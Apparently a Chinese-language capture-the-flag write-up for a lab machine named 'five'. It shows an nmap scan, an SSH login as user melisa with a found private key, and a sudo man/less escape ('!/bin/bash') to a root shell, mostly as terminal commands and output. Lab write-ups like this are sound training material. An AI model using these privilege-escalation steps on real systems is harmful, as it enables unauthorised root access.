┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.112.17 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-1810:47 CST Nmap scan report for bogon (192.168.112.17) Host is up (0.0024s latency). Not shown:999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 | http-robots.txt:1 disallowed entry |_/admin |_http-title:403 Forbidden MAC Address: B6:07:F9:39:F0:32 (Unknown) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15-5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2-7.5 (Linux 5.6.3) Network Distance:1 hop
TRACEROUTE HOP RTT ADDRESS 12.39 ms bogon (192.168.112.17)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in7.94 seconds
www-data@five:/tmp$ ssh melisa@127.0.0.1 -p 4444 -i id_rsa Couldnot create directory '/var/www/.ssh'. The authenticity of host '[127.0.0.1]:4444 ([127.0.0.1]:4444)' can't be established. ECDSA key fingerprint is SHA256:jWQpYhXQJtOuJfrNjZvNSilLDT7fkbFxeioQzGTBY7Y. Are you sure you want to continue connecting (yes/no)? yes Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). Load key "id_rsa": Permission denied
www-data@five:/tmp$ ssh melisa@127.0.0.1 -p 4444 -i id Could not create directory '/var/www/.ssh'. The authenticity of host '[127.0.0.1]:4444 ([127.0.0.1]:4444)' can't be established. ECDSA key fingerprint is SHA256:jWQpYhXQJtOuJfrNjZvNSilLDT7fkbFxeioQzGTBY7Y. Are you sure you want to continue connecting (yes/no)? yes Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). Linux five 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Oct 603:39:322020 from 192.168.1.58 melisa@five:~$
melisa
有sudo
1 2 3 4 5 6
melisa@five:~$ sudo -l MatchingDefaults entries for melisa on five: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User melisa may run the following commands on five: (ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm, /bin/clear
找到man提权的方式 但是报错了
1 2 3 4
melisa@five:~$ sudo man man Your terminal lacks the ability to clear the screen or position the cursor.
man: command exited with status 1: sed -e '/^[[:space:]]*$/{ N; /^[[:space:]]*\n[[:space:]]*$/D; }' | LESS=-ix8RmPm Manual page man(1) ?ltline %lt?L/%L.:byte %bB?s/%s..?e (END):?pB %pB\%.. (press h forhelp or q to quit)$PM Manual page man(1) ?ltline %lt?L/%L.:byte %bB?s/%s..?e (END):?pB %pB\%.. (press h forhelp or q to quit)$ MAN_PN=man(1) pager
看了wp,原来是分页的模式不同,要用less分页执行
1 2 3 4
melisa@five:~$ sudo /bin/man -P /usr/bin/less man WARNING: terminal is not fully functional - (press RETURN)!//bbiinn//bbaasshh!/bin/bash root@five:/home/melisa#